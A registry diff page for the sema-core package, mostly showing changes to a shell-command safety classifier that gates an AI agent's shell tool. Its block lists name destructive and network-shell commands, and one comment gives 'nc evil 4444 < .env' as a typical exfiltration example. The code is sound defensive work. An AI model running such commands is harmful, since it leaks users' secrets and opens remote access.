sema-core 2.1.1 → 2.1.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/core/Conversation.d.ts.map +1 -1
- package/dist/core/Conversation.js +9 -3
- package/dist/core/Conversation.js.map +1 -1
- package/dist/core/SemaEngine.d.ts +0 -5
- package/dist/core/SemaEngine.d.ts.map +1 -1
- package/dist/core/SemaEngine.js +19 -50
- package/dist/core/SemaEngine.js.map +1 -1
- package/dist/events/types.d.ts +4 -1
- package/dist/events/types.d.ts.map +1 -1
- package/dist/manager/ConfManager.d.ts.map +1 -1
- package/dist/manager/ConfManager.js +3 -0
- package/dist/manager/ConfManager.js.map +1 -1
- package/dist/manager/PermissionManager.d.ts.map +1 -1
- package/dist/manager/PermissionManager.js +124 -216
- package/dist/manager/PermissionManager.js.map +1 -1
- package/dist/manager/runShellGate.d.ts +25 -0
- package/dist/manager/runShellGate.d.ts.map +1 -0
- package/dist/manager/runShellGate.js +154 -0
- package/dist/manager/runShellGate.js.map +1 -0
- package/dist/prompt/inputPredict.d.ts +1 -1
- package/dist/prompt/inputPredict.d.ts.map +1 -1
- package/dist/prompt/inputPredict.js +1 -1
- package/dist/prompt/permission.d.ts.map +1 -1
- package/dist/prompt/permission.js +91 -36
- package/dist/prompt/permission.js.map +1 -1
- package/dist/prompt/skills.d.ts +18 -0
- package/dist/prompt/skills.d.ts.map +1 -0
- package/dist/prompt/skills.js +151 -0
- package/dist/prompt/skills.js.map +1 -0
- package/dist/prompt/toolAliases.d.ts +12 -1
- package/dist/prompt/toolAliases.d.ts.map +1 -1
- package/dist/prompt/toolAliases.js +28 -1
- package/dist/prompt/toolAliases.js.map +1 -1
- package/dist/prompt/tools/runShell.js +1 -1
- package/dist/prompt/tools/skill.d.ts.map +1 -1
- package/dist/prompt/tools/skill.js +2 -1
- package/dist/prompt/tools/skill.js.map +1 -1
- package/dist/services/agents/agentsManager.d.ts +5 -2
- package/dist/services/agents/agentsManager.d.ts.map +1 -1
- package/dist/services/agents/agentsManager.js +33 -21
- package/dist/services/agents/agentsManager.js.map +1 -1
- package/dist/services/commands/commandsManager.d.ts +5 -6
- package/dist/services/commands/commandsManager.d.ts.map +1 -1
- package/dist/services/commands/commandsManager.js +28 -23
- package/dist/services/commands/commandsManager.js.map +1 -1
- package/dist/services/hooks/hookTriggers.d.ts.map +1 -1
- package/dist/services/hooks/hookTriggers.js +4 -1
- package/dist/services/hooks/hookTriggers.js.map +1 -1
- package/dist/services/hooks/hooksManager.d.ts +8 -2
- package/dist/services/hooks/hooksManager.d.ts.map +1 -1
- package/dist/services/hooks/hooksManager.js +70 -28
- package/dist/services/hooks/hooksManager.js.map +1 -1
- package/dist/services/mcp/MCPManager.d.ts +2 -1
- package/dist/services/mcp/MCPManager.d.ts.map +1 -1
- package/dist/services/mcp/MCPManager.js +4 -2
- package/dist/services/mcp/MCPManager.js.map +1 -1
- package/dist/services/memory/memManager.d.ts +8 -1
- package/dist/services/memory/memManager.d.ts.map +1 -1
- package/dist/services/memory/memManager.js +16 -2
- package/dist/services/memory/memManager.js.map +1 -1
- package/dist/services/plugins/pluginsManager.d.ts +1 -1
- package/dist/services/plugins/pluginsManager.d.ts.map +1 -1
- package/dist/services/plugins/pluginsManager.js +13 -4
- package/dist/services/plugins/pluginsManager.js.map +1 -1
- package/dist/services/rules/rulesManager.d.ts +2 -1
- package/dist/services/rules/rulesManager.d.ts.map +1 -1
- package/dist/services/rules/rulesManager.js +2 -2
- package/dist/services/rules/rulesManager.js.map +1 -1
- package/dist/services/skills/skillsManager.d.ts +13 -8
- package/dist/services/skills/skillsManager.d.ts.map +1 -1
- package/dist/services/skills/skillsManager.js +68 -30
- package/dist/services/skills/skillsManager.js.map +1 -1
- package/dist/tools/EditNotebook.d.ts +1 -1
- package/dist/tools/PatchFile.d.ts.map +1 -1
- package/dist/tools/PatchFile.js +22 -18
- package/dist/tools/PatchFile.js.map +1 -1
- package/dist/tools/RunShell.d.ts +9 -9
- package/dist/tools/RunShell.d.ts.map +1 -1
- package/dist/tools/RunShell.js +11 -14
- package/dist/tools/RunShell.js.map +1 -1
- package/dist/tools/Skill.d.ts.map +1 -1
- package/dist/tools/Skill.js +40 -2
- package/dist/tools/Skill.js.map +1 -1
- package/dist/tools/ViewFile.d.ts.map +1 -1
- package/dist/tools/ViewFile.js +3 -19
- package/dist/tools/ViewFile.js.map +1 -1
- package/dist/tools/WriteFile.d.ts.map +1 -1
- package/dist/tools/WriteFile.js +4 -2
- package/dist/tools/WriteFile.js.map +1 -1
- package/dist/tools/base/tools.d.ts.map +1 -1
- package/dist/tools/base/tools.js +7 -1
- package/dist/tools/base/tools.js.map +1 -1
- package/dist/types/hook.d.ts +8 -3
- package/dist/types/hook.d.ts.map +1 -1
- package/dist/types/index.d.ts +1 -1
- package/dist/types/index.d.ts.map +1 -1
- package/dist/types/plugin.d.ts +2 -0
- package/dist/types/plugin.d.ts.map +1 -1
- package/dist/types/skill.d.ts +1 -1
- package/dist/types/skill.d.ts.map +1 -1
- package/dist/util/autoRunContext.d.ts +3 -2
- package/dist/util/autoRunContext.d.ts.map +1 -1
- package/dist/util/autoRunContext.js +45 -11
- package/dist/util/autoRunContext.js.map +1 -1
- package/dist/util/commands.d.ts.map +1 -1
- package/dist/util/commands.js +6 -1
- package/dist/util/commands.js.map +1 -1
- package/dist/util/fetchSafety.d.ts +10 -3
- package/dist/util/fetchSafety.d.ts.map +1 -1
- package/dist/util/fetchSafety.js +22 -29
- package/dist/util/fetchSafety.js.map +1 -1
- package/dist/util/imageCompress.d.ts +16 -0
- package/dist/util/imageCompress.d.ts.map +1 -1
- package/dist/util/imageCompress.js +53 -0
- package/dist/util/imageCompress.js.map +1 -1
- package/dist/util/readPathClass.d.ts +16 -0
- package/dist/util/readPathClass.d.ts.map +1 -0
- package/dist/util/readPathClass.js +121 -0
- package/dist/util/readPathClass.js.map +1 -0
- package/dist/util/secureFile.d.ts +4 -0
- package/dist/util/secureFile.d.ts.map +1 -1
- package/dist/util/secureFile.js +8 -60
- package/dist/util/secureFile.js.map +1 -1
- package/dist/util/shell.d.ts +1 -0
- package/dist/util/shell.d.ts.map +1 -1
- package/dist/util/shell.js +36 -0
- package/dist/util/shell.js.map +1 -1
- package/dist/util/shellSafety.d.ts +26 -15
- package/dist/util/shellSafety.d.ts.map +1 -1
- package/dist/util/shellSafety.js +277 -60
- package/dist/util/shellSafety.js.map +1 -1
- package/package.json +1 -1
package/dist/util/shellSafety.js
CHANGED
|
@@ -2,6 +2,7 @@
|
|
|
2
2
|
Object.defineProperty(exports, "__esModule", { value: true });
|
|
3
3
|
exports.hasRedirection = hasRedirection;
|
|
4
4
|
exports.classifyCommandSubstitutions = classifyCommandSubstitutions;
|
|
5
|
+
exports.classifyMultilineCommand = classifyMultilineCommand;
|
|
5
6
|
exports.hasDangerousCommand = hasDangerousCommand;
|
|
6
7
|
exports.isUnsafeForPrefixAuth = isUnsafeForPrefixAuth;
|
|
7
8
|
exports.hasNetworkCommand = hasNetworkCommand;
|
|
@@ -130,23 +131,31 @@ function hasRedirection(command) {
|
|
|
130
131
|
// 危险首词:危险性在参数里、不该按首词前缀授权的命令。授权 rm:* / sudo:* 等会把
|
|
131
132
|
// `rm -rf /`、任意 `sudo ...` 一并放行,故这些命令不提供前缀授权、也不被已存前缀覆盖。
|
|
132
133
|
// 内部分两档(见 classifyDangerousCommand):
|
|
133
|
-
// 硬危险(sudo/dd/
|
|
134
|
-
//
|
|
135
|
-
//
|
|
136
|
-
//
|
|
137
|
-
//
|
|
134
|
+
// 硬危险(sudo/dd/chown 等)→ 永远确定性转人工,不给模型裁决权;
|
|
135
|
+
// 灰区 → AutoRun 档位交快速模型结合上下文判断:
|
|
136
|
+
// - 删除类(rm/rmdir/mv,另有 find -delete)目标路径确定性落在项目内/临时目录
|
|
137
|
+
// - chmod 所有路径操作数确定性落在项目内/临时目录(改回来即可,可逆)
|
|
138
|
+
// - 进程类(kill/killall/pkill):杀的是本机进程,dev server 重启即可,误放代价可逆;
|
|
139
|
+
// 模型据轨迹判断是否 agent 自启的服务(kill $(lsof -t -i:3000))还是宽泛 pkill node
|
|
140
|
+
// DANGEROUS_PREFIX_COMMANDS 保持所有档并集不变:前缀授权禁令、find -exec 目标与 $() 替换的
|
|
141
|
+
// 递归分类仍按「一律危险」处理(-exec rm / $(kill ...) 不参与放宽;模型放行一次 ≠ 允许保存 chmod:*)。
|
|
138
142
|
// nc / ncat / netcat / telnet 是裸 socket:反弹 shell 与 `nc evil 4444 < .env` 的典型手段,合法用途
|
|
139
143
|
// 只有 `nc -zv localhost 3000` 探端口这类,很少。归入硬危险即「始终人工」:每次确认、不给前缀授权、
|
|
140
144
|
// AutoRun 也不交模型。curl/wget 等 HTTP 客户端另见 NETWORK_CONFIRM_COMMANDS。
|
|
145
|
+
// eval 是任意执行原语(eval "$cmd"),与解释器 -c 同级;source / . 加载脚本虽也执行,但
|
|
146
|
+
// `source venv/bin/activate` 是日常写法,留给模型判断。
|
|
141
147
|
const HARD_DANGEROUS_COMMANDS = new Set([
|
|
142
148
|
'dd', 'shred', 'truncate',
|
|
143
|
-
'
|
|
144
|
-
'kill', 'killall', 'pkill',
|
|
149
|
+
'chown', 'chgrp',
|
|
145
150
|
'sudo', 'doas', 'su',
|
|
146
151
|
'nc', 'ncat', 'netcat', 'telnet',
|
|
152
|
+
'eval',
|
|
147
153
|
]);
|
|
154
|
+
const PROCESS_COMMANDS = new Set(['kill', 'killall', 'pkill']);
|
|
148
155
|
const DELETE_COMMANDS = new Set(['rm', 'rmdir', 'mv']);
|
|
149
|
-
const DANGEROUS_PREFIX_COMMANDS = new Set([
|
|
156
|
+
const DANGEROUS_PREFIX_COMMANDS = new Set([
|
|
157
|
+
...HARD_DANGEROUS_COMMANDS, ...PROCESS_COMMANDS, ...DELETE_COMMANDS, 'chmod',
|
|
158
|
+
]);
|
|
150
159
|
const FIND_EXEC_TOKENS = new Set(['-exec', '-execdir']);
|
|
151
160
|
// shell 解释器:-exec sh -c '...' 是任意命令执行原语,与危险首词同级,
|
|
152
161
|
// 不给模型判断机会(isDangerousSubcommand 只查首词集合,覆盖不到这里)
|
|
@@ -177,9 +186,8 @@ function classifyExecTarget(target) {
|
|
|
177
186
|
* 提取 find 段内所有 -exec/-execdir 的目标命令(-exec 到 ;/+ 结束符之间、剥掉 {}),
|
|
178
187
|
* 逐个分类后取最严结果:任一 dangerous → dangerous;否则任一 gray → gray;全 readonly → readonly。
|
|
179
188
|
*
|
|
180
|
-
* 结束符识别 token 级精确匹配 ; 或
|
|
181
|
-
*
|
|
182
|
-
* dangerous,与现状(一律危险)一致,不放宽。
|
|
189
|
+
* 结束符识别 token 级精确匹配 ; 或 +(含引号包裹形式与 `\;` 转义形式;splitCommand 已保证
|
|
190
|
+
* `\;` 不被当作命令分隔符拆散)。找不到结束符(命令截断)→ fail-closed 判 dangerous。
|
|
183
191
|
*/
|
|
184
192
|
function classifyFindExecTargets(seg) {
|
|
185
193
|
const tokens = seg.trim().split(/\s+/);
|
|
@@ -195,14 +203,14 @@ function classifyFindExecTargets(seg) {
|
|
|
195
203
|
let foundEnd = false;
|
|
196
204
|
for (; j < tokens.length; j++) {
|
|
197
205
|
const bare = unquoteToken(tokens[j]);
|
|
198
|
-
if (bare === ';' || bare === '+') {
|
|
206
|
+
if (bare === ';' || bare === '\\;' || bare === '+') {
|
|
199
207
|
foundEnd = true;
|
|
200
208
|
break;
|
|
201
209
|
}
|
|
202
210
|
if (bare !== '{}')
|
|
203
211
|
targetTokens.push(tokens[j]);
|
|
204
212
|
}
|
|
205
|
-
//
|
|
213
|
+
// 找不到结束符(命令截断)→ fail-closed
|
|
206
214
|
if (!foundEnd)
|
|
207
215
|
return 'dangerous';
|
|
208
216
|
const c = classifyExecTarget(targetTokens.join(' '));
|
|
@@ -221,6 +229,44 @@ function classifyFindExecTargets(seg) {
|
|
|
221
229
|
const MAX_SUBSTITUTION_DEPTH = 3;
|
|
222
230
|
// 骨架占位符:替换 $(...) 后参与分词/分类,纯字母数字下划线,不会引入新的注入特征
|
|
223
231
|
const SUBST_PLACEHOLDER = '__SUBST__';
|
|
232
|
+
// 注入形态下额外视为「任意执行原语」的首词(eval 已在 HARD_DANGEROUS_COMMANDS):exec 替换当前 shell,
|
|
233
|
+
// 与解释器同级;source / . 留给模型(见 HARD_DANGEROUS_COMMANDS 注释)
|
|
234
|
+
const EXEC_PRIMITIVES = new Set(['exec']);
|
|
235
|
+
// 段内是否有含变量/命令替换的操作数(首词之后任一 token 带展开);分词失败按「有」处理(fail-closed)
|
|
236
|
+
function hasExpandingOperand(seg) {
|
|
237
|
+
const tokens = tokenizeSeg(seg);
|
|
238
|
+
if (!tokens)
|
|
239
|
+
return true;
|
|
240
|
+
return tokens.slice(1).some(t => t.hasExpansion);
|
|
241
|
+
}
|
|
242
|
+
/**
|
|
243
|
+
* 逐段分类(注入形态专用):与顶层 classifyDangerousSeg 的差别在于「静态解析不了 ≠ 危险」——
|
|
244
|
+
* 删除/chmod 的目标含变量(for 循环里的 mv "$a" "$b")时交模型而不是硬拦;目标是字面路径时
|
|
245
|
+
* 仍按顶层规则裁决(字面出项目 → dangerous)。硬危险首词、解释器、eval 维持 dangerous。
|
|
246
|
+
*/
|
|
247
|
+
function classifyInjectedSeg(seg, checker, cwd) {
|
|
248
|
+
const s = seg.trim();
|
|
249
|
+
const first = s.split(/\s+/)[0] ?? '';
|
|
250
|
+
if (SHELL_INTERPRETERS.has(first) || EXEC_PRIMITIVES.has(first))
|
|
251
|
+
return 'dangerous';
|
|
252
|
+
if (HARD_DANGEROUS_COMMANDS.has(first) || first.startsWith('mkfs'))
|
|
253
|
+
return 'dangerous';
|
|
254
|
+
if (PROCESS_COMMANDS.has(first))
|
|
255
|
+
return 'gray';
|
|
256
|
+
const isFindDelete = first === 'find' && FIND_DELETE_FLAG.test(s);
|
|
257
|
+
if (first === 'find' && !isFindDelete) {
|
|
258
|
+
if (FIND_HARD_ACTION_FLAGS.test(s) || classifyFindExecTargets(s) === 'dangerous')
|
|
259
|
+
return 'dangerous';
|
|
260
|
+
return isReadonlySafeSubcommand(s) ? 'readonly' : 'gray';
|
|
261
|
+
}
|
|
262
|
+
if (DELETE_COMMANDS.has(first) || first === 'chmod' || isFindDelete) {
|
|
263
|
+
if (!checker || hasExpandingOperand(s))
|
|
264
|
+
return 'gray';
|
|
265
|
+
const c = classifyDangerousSeg(s, checker, cwd);
|
|
266
|
+
return c === 'hard' ? 'dangerous' : 'gray';
|
|
267
|
+
}
|
|
268
|
+
return isReadonlySafeSubcommand(s) ? 'readonly' : 'gray';
|
|
269
|
+
}
|
|
224
270
|
/**
|
|
225
271
|
* 从 $( 之后的位置找配对的右括号,返回其下标;找不到返回 -1。
|
|
226
272
|
* 括号仅在引号外计数(含 $(a (b) c) 的子 shell 嵌套);单引号内全字面;
|
|
@@ -328,16 +374,19 @@ function extractCommandSubstitutions(command) {
|
|
|
328
374
|
return { skeleton, inners };
|
|
329
375
|
}
|
|
330
376
|
/**
|
|
331
|
-
*
|
|
377
|
+
* 对「含注入特征」的整条命令做递归分类:$() 命令替换、`;` 分隔、for/while 循环、变量操作数
|
|
378
|
+
* 这些静态解析器读不懂但模型读得懂的形态,都走这里细分而不是一律硬拦。
|
|
332
379
|
* 内层命令先递归分类(内层自身可含 && / | / 嵌套 $() 等);随后骨架经 splitCommand
|
|
333
|
-
*
|
|
334
|
-
*
|
|
380
|
+
* 分段,逐段按 classifyInjectedSeg 判定,取最严;骨架内残留换行 → dangerous(多行请调用方
|
|
381
|
+
* 逐行分类)。字面 cd 同样跟踪 cwd。
|
|
335
382
|
*
|
|
336
383
|
* 供权限闸门使用:dangerous → 确定性转人工(不给模型机会);readonly/gray → 交
|
|
337
384
|
* AutoRun 模型判断。刻意不提供确定性放行——放行与否只由模型或人工裁决,解析器
|
|
338
385
|
* 误差最多把命令送去模型,绝不静默放过。
|
|
386
|
+
*
|
|
387
|
+
* @param checker 删除/chmod 字面目标的范围回调(同 classifyDangerousCommand);不传则这类段一律 gray
|
|
339
388
|
*/
|
|
340
|
-
function classifyCommandSubstitutions(command, depth = 0) {
|
|
389
|
+
function classifyCommandSubstitutions(command, checker, depth = 0) {
|
|
341
390
|
if (depth > MAX_SUBSTITUTION_DEPTH)
|
|
342
391
|
return 'dangerous';
|
|
343
392
|
const parsed = extractCommandSubstitutions(command);
|
|
@@ -345,7 +394,7 @@ function classifyCommandSubstitutions(command, depth = 0) {
|
|
|
345
394
|
return 'dangerous';
|
|
346
395
|
let worst = 'readonly';
|
|
347
396
|
for (const inner of parsed.inners) {
|
|
348
|
-
const c = classifyCommandSubstitutions(inner, depth + 1);
|
|
397
|
+
const c = classifyCommandSubstitutions(inner, checker, depth + 1);
|
|
349
398
|
if (c === 'dangerous')
|
|
350
399
|
return 'dangerous';
|
|
351
400
|
if (c === 'gray')
|
|
@@ -360,19 +409,27 @@ function classifyCommandSubstitutions(command, depth = 0) {
|
|
|
360
409
|
}
|
|
361
410
|
if (segs.length === 0)
|
|
362
411
|
return 'dangerous';
|
|
363
|
-
|
|
412
|
+
const cwds = trackSegCwds(parsed.skeleton, segs);
|
|
413
|
+
for (let i = 0; i < segs.length; i++) {
|
|
414
|
+
const seg = segs[i];
|
|
364
415
|
if ((0, commands_1.hasCommandInjection)(seg))
|
|
365
416
|
return 'dangerous';
|
|
366
|
-
const
|
|
367
|
-
if (
|
|
368
|
-
return 'dangerous';
|
|
369
|
-
if (isDangerousSubcommand(seg))
|
|
417
|
+
const c = classifyInjectedSeg(seg, checker, cwds[i] ?? null);
|
|
418
|
+
if (c === 'dangerous')
|
|
370
419
|
return 'dangerous';
|
|
371
|
-
if (
|
|
420
|
+
if (c === 'gray')
|
|
372
421
|
worst = 'gray';
|
|
373
422
|
}
|
|
374
423
|
return worst;
|
|
375
424
|
}
|
|
425
|
+
/**
|
|
426
|
+
* 多行命令(heredoc 剥离正文后的骨架、换行拼接的多条命令)的分类。
|
|
427
|
+
* 结束符之后再接命令是 agent 的常见写法(跑完脚本再 cat 结果),不是藏命令——模型看得到全文。
|
|
428
|
+
* shell 里换行与 `;` 等价,直接替换后整体分类:cd 跟踪跨行仍成立,分段规则与单行一致。
|
|
429
|
+
*/
|
|
430
|
+
function classifyMultilineCommand(skeleton, checker) {
|
|
431
|
+
return classifyCommandSubstitutions(skeleton.replace(/\n+/g, ' ; '), checker);
|
|
432
|
+
}
|
|
376
433
|
function isDangerousSubcommand(seg) {
|
|
377
434
|
const s = seg.trim();
|
|
378
435
|
const first = s.split(/\s+/)[0] ?? '';
|
|
@@ -458,8 +515,8 @@ function hasNetworkCommand(command) {
|
|
|
458
515
|
// - 不含发数据 / 带凭据 / 读本地配置 / 跨主机抓取的参数;显式方法只允许 GET / HEAD
|
|
459
516
|
// - 未识别的取值参数会把值当成位置参数 → 非环回 URL → 不满足(保守)
|
|
460
517
|
const READ_METHODS = new Set(['GET', 'HEAD']);
|
|
461
|
-
// 环回主机:用户自己机器上的服务。与 fetchSafety.
|
|
462
|
-
//
|
|
518
|
+
// 环回主机:用户自己机器上的服务。与 fetchSafety.classifyFetchHost 的 loopback 档语义一致,
|
|
519
|
+
// 这里只认环回,内网与云元数据地址仍交模型/人工。
|
|
463
520
|
function isLoopbackHost(hostname) {
|
|
464
521
|
const h = hostname.toLowerCase().replace(/^\[|\]$/g, '').replace(/\.$/, '');
|
|
465
522
|
if (h === 'localhost' || h.endsWith('.localhost'))
|
|
@@ -712,6 +769,114 @@ function isLoopbackReadonlyRequest(command) {
|
|
|
712
769
|
// 与 ALWAYS_DANGEROUS_FIND_FLAGS 的差集是 -delete —— 后者单独识别为删除类灰区。
|
|
713
770
|
const FIND_HARD_ACTION_FLAGS = /(^|\s)-(ok(dir)?|fprint(0|f)?|fls)\b/;
|
|
714
771
|
const FIND_DELETE_FLAG = /(^|\s)-delete\b/;
|
|
772
|
+
// 引号感知地把整条命令按列表/管道分隔符切段,记录每段前面的分隔符。
|
|
773
|
+
// 只为 cd 跟踪服务:splitCommand 会丢掉分隔符信息,而 cwd 能否沿用取决于分隔符语义
|
|
774
|
+
// (&& 安全:cd 失败后续不执行;|| 与管道不安全:cd 可能被跳过或跑在子 shell 里)。
|
|
775
|
+
// 引号外出现 ( ) { } → 子 shell/分组,cd 作用域无法静态跟踪 → null。
|
|
776
|
+
function splitWithOperators(command) {
|
|
777
|
+
const out = [];
|
|
778
|
+
let cur = '';
|
|
779
|
+
let op = '';
|
|
780
|
+
let inSingle = false;
|
|
781
|
+
let inDouble = false;
|
|
782
|
+
const flush = (nextOp) => {
|
|
783
|
+
out.push({ op, seg: cur.trim() });
|
|
784
|
+
cur = '';
|
|
785
|
+
op = nextOp;
|
|
786
|
+
};
|
|
787
|
+
for (let i = 0; i < command.length; i++) {
|
|
788
|
+
const c = command[i];
|
|
789
|
+
if (inSingle) {
|
|
790
|
+
if (c === "'")
|
|
791
|
+
inSingle = false;
|
|
792
|
+
cur += c;
|
|
793
|
+
continue;
|
|
794
|
+
}
|
|
795
|
+
if (c === '\\') {
|
|
796
|
+
cur += c + (command[i + 1] ?? '');
|
|
797
|
+
i++;
|
|
798
|
+
continue;
|
|
799
|
+
}
|
|
800
|
+
if (inDouble) {
|
|
801
|
+
if (c === '"')
|
|
802
|
+
inDouble = false;
|
|
803
|
+
cur += c;
|
|
804
|
+
continue;
|
|
805
|
+
}
|
|
806
|
+
if (c === "'") {
|
|
807
|
+
inSingle = true;
|
|
808
|
+
cur += c;
|
|
809
|
+
continue;
|
|
810
|
+
}
|
|
811
|
+
if (c === '"') {
|
|
812
|
+
inDouble = true;
|
|
813
|
+
cur += c;
|
|
814
|
+
continue;
|
|
815
|
+
}
|
|
816
|
+
if (c === '(' || c === ')' || c === '{' || c === '}')
|
|
817
|
+
return null;
|
|
818
|
+
const two = command.slice(i, i + 2);
|
|
819
|
+
if (two === '&&' || two === '||') {
|
|
820
|
+
flush(two);
|
|
821
|
+
i++;
|
|
822
|
+
continue;
|
|
823
|
+
}
|
|
824
|
+
if (c === '|' || c === ';' || c === '\n') {
|
|
825
|
+
flush(c);
|
|
826
|
+
continue;
|
|
827
|
+
}
|
|
828
|
+
cur += c;
|
|
829
|
+
}
|
|
830
|
+
if (inSingle || inDouble)
|
|
831
|
+
return null;
|
|
832
|
+
flush('');
|
|
833
|
+
return out.filter(e => e.seg !== '');
|
|
834
|
+
}
|
|
835
|
+
/**
|
|
836
|
+
* 静态跟踪 cd/pushd/popd 对后续子命令 cwd 的影响,返回与 segs 一一对应的 cwd 数组。
|
|
837
|
+
* 可跟踪的只有「字面路径的 cd」(无变量/通配/~、非 `cd -`、非裸 cd)且其前后分隔符都是 &&
|
|
838
|
+
* (首段或经 ; / 换行接续也可);pushd/popd、`||`、管道内 cd、子 shell、分段数与 splitCommand
|
|
839
|
+
* 对不上 → 从该处起(或整体)不可跟踪。fail-closed:任何不确定都退化为 null。
|
|
840
|
+
*/
|
|
841
|
+
function trackSegCwds(command, segs) {
|
|
842
|
+
const parts = splitWithOperators(command);
|
|
843
|
+
if (!parts || parts.length !== segs.length)
|
|
844
|
+
return segs.map(() => null);
|
|
845
|
+
const cwds = [];
|
|
846
|
+
let cwd = '';
|
|
847
|
+
for (let i = 0; i < parts.length; i++) {
|
|
848
|
+
const { op, seg } = parts[i];
|
|
849
|
+
const nextOp = parts[i + 1]?.op ?? '';
|
|
850
|
+
const first = seg.split(/\s+/)[0] ?? '';
|
|
851
|
+
if (first === 'pushd' || first === 'popd')
|
|
852
|
+
cwd = null;
|
|
853
|
+
if (first === 'cd') {
|
|
854
|
+
const tokens = tokenizeSeg(seg);
|
|
855
|
+
const target = tokens?.[1];
|
|
856
|
+
const pipelined = op === '|' || nextOp === '|';
|
|
857
|
+
if (cwd === null || pipelined || !tokens || tokens.length !== 2 || !target ||
|
|
858
|
+
target.hasExpansion || target.globIndex >= 0 || target.text === '-' || target.text.startsWith('~')) {
|
|
859
|
+
cwd = null;
|
|
860
|
+
}
|
|
861
|
+
else {
|
|
862
|
+
cwd = (0, path_1.isAbsolute)(target.text) ? target.text : (cwd ? (0, path_1.join)(cwd, target.text) : target.text);
|
|
863
|
+
}
|
|
864
|
+
}
|
|
865
|
+
// `||` 之后 cd 是否执行过取决于前段成败,无法静态判断
|
|
866
|
+
if (op === '||')
|
|
867
|
+
cwd = null;
|
|
868
|
+
cwds.push(cwd);
|
|
869
|
+
}
|
|
870
|
+
return cwds;
|
|
871
|
+
}
|
|
872
|
+
// 相对目标按跟踪到的 cwd 解析:cwd 为 '' 时原样返回(调用方按项目根解析),null 时不可解析
|
|
873
|
+
function resolveAgainstCwd(text, cwd) {
|
|
874
|
+
if ((0, path_1.isAbsolute)(text))
|
|
875
|
+
return text;
|
|
876
|
+
if (cwd === null)
|
|
877
|
+
return null;
|
|
878
|
+
return cwd ? (0, path_1.join)(cwd, text) : text;
|
|
879
|
+
}
|
|
715
880
|
/**
|
|
716
881
|
* 引号感知的段内分词:按空白拆 token,剥掉引号字符,标记通配符与展开特征。
|
|
717
882
|
* splitCommand 的输出段保留了原始引号(如 rm "my file.txt"),朴素 split(/\s+/)
|
|
@@ -789,33 +954,32 @@ function tokenizeSeg(seg) {
|
|
|
789
954
|
return tokens;
|
|
790
955
|
}
|
|
791
956
|
/**
|
|
792
|
-
*
|
|
957
|
+
* 单个目标 token 是否可静态确认落在允许范围。
|
|
793
958
|
* 含变量/命令替换、~ 展开 → 不可静态解析 → 拒绝;
|
|
794
|
-
* cwd
|
|
959
|
+
* 相对路径按该段跟踪到的 cwd 解析(不可跟踪时拒绝);
|
|
795
960
|
* 通配符目标退化为「其字面前缀的目录部分」按 globdir 交策略回调。
|
|
796
961
|
*/
|
|
797
|
-
function checkDeleteTarget(t, isDeletableTarget,
|
|
962
|
+
function checkDeleteTarget(t, isDeletableTarget, cwd) {
|
|
798
963
|
if (t.hasExpansion)
|
|
799
964
|
return false;
|
|
800
965
|
const text = t.text;
|
|
801
966
|
if (!text || text.startsWith('~'))
|
|
802
967
|
return false;
|
|
803
|
-
if (cwdUnreliable && !(0, path_1.isAbsolute)(text))
|
|
804
|
-
return false;
|
|
805
968
|
if (t.globIndex >= 0) {
|
|
806
969
|
const prefix = text.slice(0, t.globIndex);
|
|
807
970
|
const slash = prefix.lastIndexOf('/');
|
|
808
|
-
const dir = slash >= 0 ? prefix.slice(0, slash + 1) : '';
|
|
809
|
-
return isDeletableTarget(dir
|
|
971
|
+
const dir = resolveAgainstCwd(slash >= 0 ? prefix.slice(0, slash + 1) : '.', cwd);
|
|
972
|
+
return dir !== null && isDeletableTarget(dir, 'globdir');
|
|
810
973
|
}
|
|
811
|
-
|
|
974
|
+
const resolved = resolveAgainstCwd(text, cwd);
|
|
975
|
+
return resolved !== null && isDeletableTarget(resolved, 'literal');
|
|
812
976
|
}
|
|
813
977
|
/**
|
|
814
978
|
* rm/rmdir/mv 段的目标提取与校验:跳过 flag,`--` 之后全按操作数;
|
|
815
979
|
* mv --target-directory=DIR 的 DIR 也计入目标(-t DIR 的 DIR 不带 - 前缀,天然计入)。
|
|
816
980
|
* 无任何操作数(如裸 `rm -rf`)→ hard。
|
|
817
981
|
*/
|
|
818
|
-
function checkDeleteOperands(seg, isDeletableTarget,
|
|
982
|
+
function checkDeleteOperands(seg, isDeletableTarget, cwd) {
|
|
819
983
|
const tokens = tokenizeSeg(seg);
|
|
820
984
|
if (!tokens || tokens.length === 0)
|
|
821
985
|
return 'hard';
|
|
@@ -841,17 +1005,60 @@ function checkDeleteOperands(seg, isDeletableTarget, cwdUnreliable) {
|
|
|
841
1005
|
if (operands.length === 0)
|
|
842
1006
|
return 'hard';
|
|
843
1007
|
for (const t of operands) {
|
|
844
|
-
if (!checkDeleteTarget(t, isDeletableTarget,
|
|
1008
|
+
if (!checkDeleteTarget(t, isDeletableTarget, cwd))
|
|
845
1009
|
return 'hard';
|
|
846
1010
|
}
|
|
847
|
-
return '
|
|
1011
|
+
return 'gray';
|
|
1012
|
+
}
|
|
1013
|
+
/**
|
|
1014
|
+
* chmod 段的路径操作数校验:跳过 flag,第一个非 flag 操作数是 mode(+x / 755 / u=rw),
|
|
1015
|
+
* 其余都是路径,须全部确定性落在允许范围(同删除类)。`--reference=FILE` 只读取 FILE 的
|
|
1016
|
+
* mode,按 flag 跳过;`--` 之后第一个 token 仍是 mode(chmod -- -x file 的写法)。
|
|
1017
|
+
* 没有路径操作数 → hard(fail-closed)。
|
|
1018
|
+
*/
|
|
1019
|
+
function checkChmodOperands(seg, isDeletableTarget, cwd) {
|
|
1020
|
+
const tokens = tokenizeSeg(seg);
|
|
1021
|
+
if (!tokens || tokens.length === 0)
|
|
1022
|
+
return 'hard';
|
|
1023
|
+
const paths = [];
|
|
1024
|
+
let afterDoubleDash = false;
|
|
1025
|
+
let modeSeen = false;
|
|
1026
|
+
for (let i = 1; i < tokens.length; i++) {
|
|
1027
|
+
const t = tokens[i];
|
|
1028
|
+
if (!afterDoubleDash) {
|
|
1029
|
+
if (t.text === '--') {
|
|
1030
|
+
afterDoubleDash = true;
|
|
1031
|
+
continue;
|
|
1032
|
+
}
|
|
1033
|
+
if (t.text.startsWith('--reference=')) {
|
|
1034
|
+
modeSeen = true;
|
|
1035
|
+
continue;
|
|
1036
|
+
}
|
|
1037
|
+
// -R/-v 等 flag;-x/-w 这类以 - 开头的 mode 与 flag 无法区分,一律按 flag 跳过,
|
|
1038
|
+
// 后果只是第一个路径被当成 mode 吞掉:单路径时 paths 为空 → hard,多路径时其余仍逐个校验,fail-closed
|
|
1039
|
+
